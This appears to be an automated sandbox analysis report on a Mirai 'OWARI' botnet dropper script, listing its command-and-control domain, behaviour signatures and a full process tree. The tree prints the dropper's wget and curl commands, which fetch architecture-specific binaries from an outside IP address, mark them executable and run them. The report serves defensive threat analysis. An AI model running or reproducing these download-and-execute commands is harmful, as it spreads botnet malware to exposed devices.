Analysis

  • max time kernel
    146s
  • max time network
    147s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    06/11/2024, 01:46

General

  • Target
    c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh
  • Size 2KB
  • Sample241106-b7asratbnj
  • SHA256 c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • mirai

Botnet
  • OWARI

C2
  • cnc.carteldesinaloa.ru

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • Contacts a large (1843) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Modifies Watchdog functionality 1 TTPs 24 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Changes its process name 12 IoCs
  • Checks CPU configuration 1 TTPs 12 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 24 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 25 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh
    /tmp/c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh
    1⤵
    • Writes file to tmp directory
    PID:645
    • /usr/bin/wget
      wget http://94.156.177.146/389242390482/nuklear.arm
      2⤵
      • Writes file to tmp directory
      PID:647
    • /usr/bin/curl
      curl -O http://94.156.177.146/389242390482/nuklear.arm
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:666
    • /bin/cat
      cat nuklear.arm
      2⤵
        PID:674
      • /bin/chmod
        chmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.payload systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-Ff4mHu
        2⤵
        • File and Directory Permissions Modification
        PID:675
      • /tmp/nuklear.payload
        ./nuklear.payload nuklear.payload
        2⤵
        • Modifies Watchdog functionality
        • Changes its process name
        PID:676
      • /usr/bin/wget
        wget http://94.156.177.146/389242390482/nuklear.arm5
        2⤵
        • Writes file to tmp directory
        PID:680
      • /usr/bin/curl
        curl -O http://94.156.177.146/389242390482/nuklear.arm5
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:684
      • /bin/chmod
        chmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.payload systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-Ff4mHu
        2⤵
        • File and Directory Permissions Modification
        PID:691
      • /tmp/nuklear.payload
        ./nuklear.payload nuklear.payload
        2⤵
        • Modifies Watchdog functionality
        • Changes its process name
        PID:693
      • /usr/bin/wget
        wget http://94.156.177.146/389242390482/nuklear.arm6
        2⤵
        • Writes file to tmp directory
        PID:697
      • /usr/bin/curl
        curl -O http://94.156.177.146/389242390482/nuklear.arm6
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:709
      • /bin/chmod
        chmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.payload systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-Ff4mHu
        2⤵
        • File and Directory Permissions Modification
        PID:719
      • /tmp/nuklear.payload
        ./nuklear.payload nuklear.payload
        2⤵
        • Modifies Watchdog functionality
        • Changes its process name
        PID:721
      • /usr/bin/wget
        wget http://94.156.177.146/389242390482/nuklear.arm7
        2⤵
        • Writes file to tmp directory
        PID:726
      • /usr/bin/curl
        curl -O http://94.156.177.146/389242390482/nuklear.arm7
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:738
      • /bin/chmod
        chmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.payload systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-Ff4mHu
        2⤵
        • File and Directory Permissions Modification
        PID:751
      • /tmp/nuklear.payload
        ./nuklear.payload nuklear.payload
        2⤵
        • Modifies Watchdog functionality
        • Changes its process name
        PID:753
      • /usr/bin/wget
        wget http://94.156.177.146/389242390482/nuklear.m68k
        2⤵
        • Writes file to tmp directory
        PID:757
      • /usr/bin/curl
        curl -O http://94.156.177.146/389242390482/nuklear.m68k
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:762
      • /bin/chmod
        chmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.m68k nuklear.payload systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-Ff4mHu
        2⤵
        • File and Directory Permissions Modification
        PID:765
      • /tmp/nuklear.payload
        ./nuklear.payload nuklear.payload
        2⤵
        • Modifies Watchdog functionality
        • Changes its process name
        PID:767
      • /usr/bin/wget
        wget http://94.156.177.146/389242390482/nuklear.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:771
      • /usr/bin/curl
        curl -O http://94.156.177.146/389242390482/nuklear.mips
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:785
      • /bin/chmod
        chmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.m68k nuklear.mips nuklear.payload systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-Ff4mHu
        2⤵
        • File and Directory Permissions Modification
        PID:797
      • /tmp/nuklear.payload
        ./nuklear.payload nuklear.payload
        2⤵
        • Modifies Watchdog functionality
        • Changes its process name
        PID:799
      • /usr/bin/wget
        wget http://94.156.177.146/389242390482/nuklear.mpsl
        2⤵
        • Writes file to tmp directory
        PID:803
      • /usr/bin/curl
        curl -O http://94.156.177.146/389242390482/nuklear.mpsl
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:816
      • /bin/chmod
        chmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.m68k nuklear.mips nuklear.mpsl nuklear.payload systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-Ff4mHu
        2⤵
        • File and Directory Permissions Modification
        PID:818
      • /tmp/nuklear.payload
        ./nuklear.payload nuklear.payload
        2⤵
        • Modifies Watchdog functionality
        • Changes its process name
        PID:819
      • /usr/bin/wget
        wget http://94.156.177.146/389242390482/nuklear.ppc
        2⤵
        • Writes file to tmp directory
        PID:823
      • /usr/bin/curl
        curl -O http://94.156.177.146/389242390482/nuklear.ppc
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:827
      • /bin/chmod
        chmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.m68k nuklear.mips nuklear.mpsl nuklear.payload nuklear.ppc systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-Ff4mHu
        2⤵
        • File and Directory Permissions Modification
        PID:829
      • /tmp/nuklear.payload
        ./nuklear.payload nuklear.payload
        2⤵
        • Modifies Watchdog functionality
        • Changes its process name
        PID:830
      • /usr/bin/wget
        wget http://94.156.177.146/389242390482/nuklear.sh4
        2⤵
        • Writes file to tmp directory
        PID:834
      • /usr/bin/curl
        curl -O http://94.156.177.146/389242390482/nuklear.sh4
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:838
      • /bin/chmod
        chmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.m68k nuklear.mips nuklear.mpsl nuklear.payload nuklear.ppc nuklear.sh4 systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-Ff4mHu
        2⤵
        • File and Directory Permissions Modification
        PID:840
      • /tmp/nuklear.payload
        ./nuklear.payload nuklear.payload
        2⤵
        • Modifies Watchdog functionality
        • Changes its process name
        PID:841
      • /usr/bin/wget
        wget http://94.156.177.146/389242390482/nuklear.spc
        2⤵
        • Writes file to tmp directory
        PID:845
      • /usr/bin/curl
        curl -O http://94.156.177.146/389242390482/nuklear.spc
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:849
      • /bin/chmod
        chmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.m68k nuklear.mips nuklear.mpsl nuklear.payload nuklear.ppc nuklear.sh4 nuklear.spc systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-Ff4mHu
        2⤵
        • File and Directory Permissions Modification
        PID:851
      • /tmp/nuklear.payload
        ./nuklear.payload nuklear.payload
        2⤵
        • Modifies Watchdog functionality
        • Changes its process name
        PID:852
      • /usr/bin/wget
        wget http://94.156.177.146/389242390482/nuklear.x86
        2⤵
        • Writes file to tmp directory
        PID:856
      • /usr/bin/curl
        curl -O http://94.156.177.146/389242390482/nuklear.x86
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:860
      • /bin/chmod
        chmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.m68k nuklear.mips nuklear.mpsl nuklear.payload nuklear.ppc nuklear.sh4 nuklear.spc nuklear.x86 systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-Ff4mHu
        2⤵
        • File and Directory Permissions Modification
        PID:862
      • /tmp/nuklear.payload
        ./nuklear.payload nuklear.payload
        2⤵
        • Modifies Watchdog functionality
        • Changes its process name
        PID:863
      • /usr/bin/wget
        wget http://94.156.177.146/389242390482/nuklear.x86_64
        2⤵
        • Writes file to tmp directory
        PID:867
      • /usr/bin/curl
        curl -O http://94.156.177.146/389242390482/nuklear.x86_64
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:871
      • /bin/chmod
        chmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.m68k nuklear.mips nuklear.mpsl nuklear.payload nuklear.ppc nuklear.sh4 nuklear.spc nuklear.x86 nuklear.x86_64 systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-Ff4mHu
        2⤵
        • File and Directory Permissions Modification
        PID:873
      • /tmp/nuklear.payload
        ./nuklear.payload nuklear.payload
        2⤵
        • Modifies Watchdog functionality
        • Changes its process name
        PID:874

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          nuklear.arm

          • Path /tmp/nuklear.arm
          • Size 81KB
          • SHA256 6a4f0c194ff955c49428fd391a73eed5477541588feddbfde6a1f5acea1489af
          • MD5 SHA1 SHA512 SSDEEP